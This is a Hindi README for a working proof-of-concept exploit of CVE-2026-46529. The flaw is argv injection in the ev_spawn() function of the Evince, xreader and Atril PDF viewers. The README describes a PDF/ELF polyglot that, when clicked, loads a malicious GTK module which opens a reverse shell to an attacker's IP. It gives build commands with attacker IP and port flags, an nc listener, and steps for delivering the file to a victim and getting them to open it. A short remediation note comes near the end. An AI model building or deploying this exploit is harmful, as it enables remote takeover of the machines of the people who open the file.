
Evince/xreader/Atril RCE शोषण से CVE-2026-46529
ev_spawn() (shell/ev-application.c) में argv इंजेक्शन के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट। एक तैयार पीडीएफ के रेंडर किए गए पेज पर कहीं भी एक क्लिक करने से व्यूअर चलाने वाले उपयोगकर्ता के रूप में मनमाना कोड निष्पादन शुरू हो जाता है।
यह रिलीज़ %f-प्रतिस्थापन तकनीक का उपयोग करती है: dlopen लक्ष्य पथ व्यूअर द्वारा रनटाइम पर स्वयं खोजा जाता है, इसलिए हमलावर को पीड़ित के फाइलसिस्टम पर पॉलीग्लॉट कहां उतरता है, इसकी शून्य जानकारी की आवश्यकता होती है (कोई उपयोगकर्ता नाम, कोई $HOME, कोई डाउनलोड निर्देशिका नहीं)।
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| File | उद्देश्य |
|---|
exploit.sh | एक-शॉट रैपर: एक ही कमांड में कंपाइल + बिल्ड पॉलीग्लॉट। |
evil_gtk_module.c | पेलोड का स्रोत। कंस्ट्रक्टर एक रिवर्स शेल खोलता है और /tmp/PWNED_atril_<pid>.txt पर एक मार्कर ड्रॉप करता है। |
build_polyglot.py | पॉलीग्लॉट बिल्डर। एक संकलित evil.so को एक न्यूनतम पीडीएफ बॉडी के साथ जोड़ता है जिसमें /GoToR एक्शन और %f स्मगल शामिल है। |
आपको पीड़ित के आर्किटेक्चर से मेल खाने वाले लिनक्स होस्ट पर बिल्ड करना होगा। evil_gtk_module.c आर्किटेक्चर के बीच पोर्टेबल है; परिणामी ELF आर्क-विशिष्ट है। macOS .so उत्पन्न नहीं कर सकता क्योंकि Apple का लिंकर GNU बिल्ड-आईडी फ्लैग स्वीकार नहीं करता है।
ev_spawn() पीडीएफ के /D (नामित गंतव्य) और /F (फ़ाइल विनिर्देश) स्ट्रिंग्स को g_shell_quote के बिना इंटरपोलेट करके स्पॉन कमांड लाइन बनाता है। परिणाम g_app_info_create_from_commandline → g_shell_parse_argv द्वारा वापस argv में पार्स किया जाता है। एक अग्रणी स्पेस और --gtk-module=... के साथ /D तैयार करने से स्पॉन किए गए चाइल्ड व्यूअर को --gtk-module= एक स्वतंत्र argv तत्व के रूप में प्राप्त होता है, जिसका gtk_init() g_module_open() (अर्थात dlopen) के माध्यम से सम्मान करता है। लोड किए गए ELF में कोई भी कंस्ट्रक्टर पीड़ित के रूप में चलता है।
पॉलीग्लॉट एक एकल फ़ाइल है जो एक साथ एक मान्य पीडीएफ और एक मान्य ELF साझा लाइब्रेरी है — %PDF-1.4 मार्कर .note.gnu.build-id SHA1 स्लॉट (ऑफ़सेट 0x1d8) के अंदर स्टैम्प किया गया है, जिसे poppler स्वीकार करता है क्योंकि यह पहले 1024 बाइट्स को जादू के लिए स्कैन करता है और ld.so स्वीकार करता है क्योंकि बिल्ड-आईडी सामग्री सूचनात्मक है।
%f ट्रिक (यह रिलीज़) अंतिम टुकड़े को बंद करती है। पॉलीग्लॉट के पथ को पीडीएफ के अंदर हार्डकोड करने के बजाय, हम glib के %f प्लेसहोल्डर को एम्बेड करते हैं। glib का g_app_info_launch_uris %f को URI के स्थानीय-पथ रूप से प्रतिस्थापित करता है जिसे atril ने रनटाइम पर g_path_get_dirname(source_uri) + /F.basename के माध्यम से हल किया। स्पॉन किए गए चाइल्ड का argv --gtk-module=<वास्तविक-रनटाइम-पथ> युक्त समाप्त होता है, dlopen सफल होता है, RCE।
/F को केवल <basename> के बजाय <basename>?1 पर सेट किया जाता है क्योंकि ev_application_open_uri_at_dest() शॉर्ट-सर्किट करता है और जब हल किया गया /F URI स्रोत URI के बराबर होता है तो बस नेविगेट करता है (स्पॉन करने के बजाय)। अनुगामी क्वेरी स्ट्रिंग URI को विशिष्ट बनाती है; glib का g_filename_from_uri %f बनाते समय इसे हटा देता है।
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
आउटपुट: report.pdf जिसमें रिवर्स-शेल लक्ष्य बेक किया गया है। समान बेसनेम (कोई भी निर्देशिका) के साथ पीड़ित पर तैनात करें, एक लिसनर शुरू करें, उन्हें atril में इसे खोलने और पेज पर कहीं भी क्लिक करने के लिए कहें।
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
/F में एम्बेडेड बेसनेम आउटपुट फ़ाइल नाम से लिया गया है, इसलिए पॉलीग्लॉट को report.pdf के रूप में तैनात किए जाने की उम्मीद है। निर्देशिका मायने नहीं रखती — atril %f प्रतिस्थापन के माध्यम से रनटाइम पर पूर्ण पथ हल करता है। लिंक एनोटेशन पूरे MediaBox को कवर करता है, इसलिए कोई भी क्लिक कार्रवाई को ट्रिगर करता है। एक मार्कर फ़ाइल भी /tmp/PWNED_atril_<pid>.txt पर लिखी जाती है।
exploit.sh विकल्प| विकल्प | विवरण |
|---|---|
-o, --output FILE | आउटपुट PDF पथ (डिफ़ॉल्ट: polyglot.pdf) |
--ip IP | रिवर्स शेल लक्ष्य IP (डिफ़ॉल्ट: 127.0.0.1) |
--port PORT | रिवर्स शेल लक्ष्य पोर्ट (डिफ़ॉल्ट: 9000) |
--cc COMPILER | C कंपाइलर (डिफ़ॉल्ट: gcc, env: CC) |
--keep-so | बिल्ड के बाद evil.so को हटाएं नहीं |
-h, --help | उपयोग दिखाएं |
क्रॉस-कंपाइल उदाहरण (x86_64 होस्ट पर aarch64 पॉलीग्लॉट बनाएं):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh के बिना)यदि आप प्रत्येक चरण पर पूर्ण नियंत्रण चाहते हैं:
अपने IP/पोर्ट के साथ evil.so कंपाइल करें।
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
पॉलीग्लॉट बनाएं।
python3 build_polyglot.py evil.so <output.pdf>
/F में एम्बेडेड बेसनेम आउटपुट फ़ाइल नाम से लिया गया है। पीड़ित पर समान बेसनेम के साथ पॉलीग्लॉट तैनात करें — निर्देशिका मायने नहीं रखती, atril इसे रनटाइम पर हल करता है।
पुष्टि की गई:
कमजोर कोड (ev_spawn और /GoToR ओपन पथ) तीनों के बीच साझा किया गया है। evince अपस्ट्रीम में भी वही बग है; नए evince बिल्ड में एकमात्र अंतर यह है कि GTK4 ने --gtk-module= कमांड-लाइन फ्लैग को हटा दिया है, जो इस विशिष्ट dlopen सिंक को बंद कर देता है। GTK3 के खिलाफ बनाए गए evince बिल्ड (लेखन के समय अधिकांश LTS डिस्ट्रो) कमजोर बने हुए हैं।
यह बग 2010 के दशक की शुरुआत से मौजूद है जब ev_spawn cmdline निर्माण लिखा गया था। समाधान सीधा है: g_string_append_printf से पहले हर हमलावर-नियंत्रित घटक को g_shell_quote में लपेटें, या argv को सूची के रूप में g_spawn_async को पास करने पर स्विच करें (शेल पार्स राउंड-ट्रिप को पूरी तरह से टालते हुए)।
फ़ाइलनाम संरक्षण. /F में एम्बेडेड बेसनेम को ट्रिगर समय पर पीड़ित की डिस्क पर पॉलीग्लॉट के फ़ाइलनाम से मेल खाना चाहिए। यदि पीड़ित फ़ाइल को खोलने से पहले नाम बदल देता है, तो atril /F को एक अस्तित्वहीन पथ पर हल करता है और dlopen विफल हो जाता है।
GTK4. GTK4 के खिलाफ नए evince बिल्ड ने --gtk-module= कमांड-लाइन फ्लैग को हटा दिया है, जो इस विशिष्ट dlopen सिंक को बंद कर देता है। argv इंजेक्शन स्वयं अभी भी मौजूद है — केवल इस विशेष शोषण पथ को GTK4 द्वारा कम किया गया है।
J.Medeiros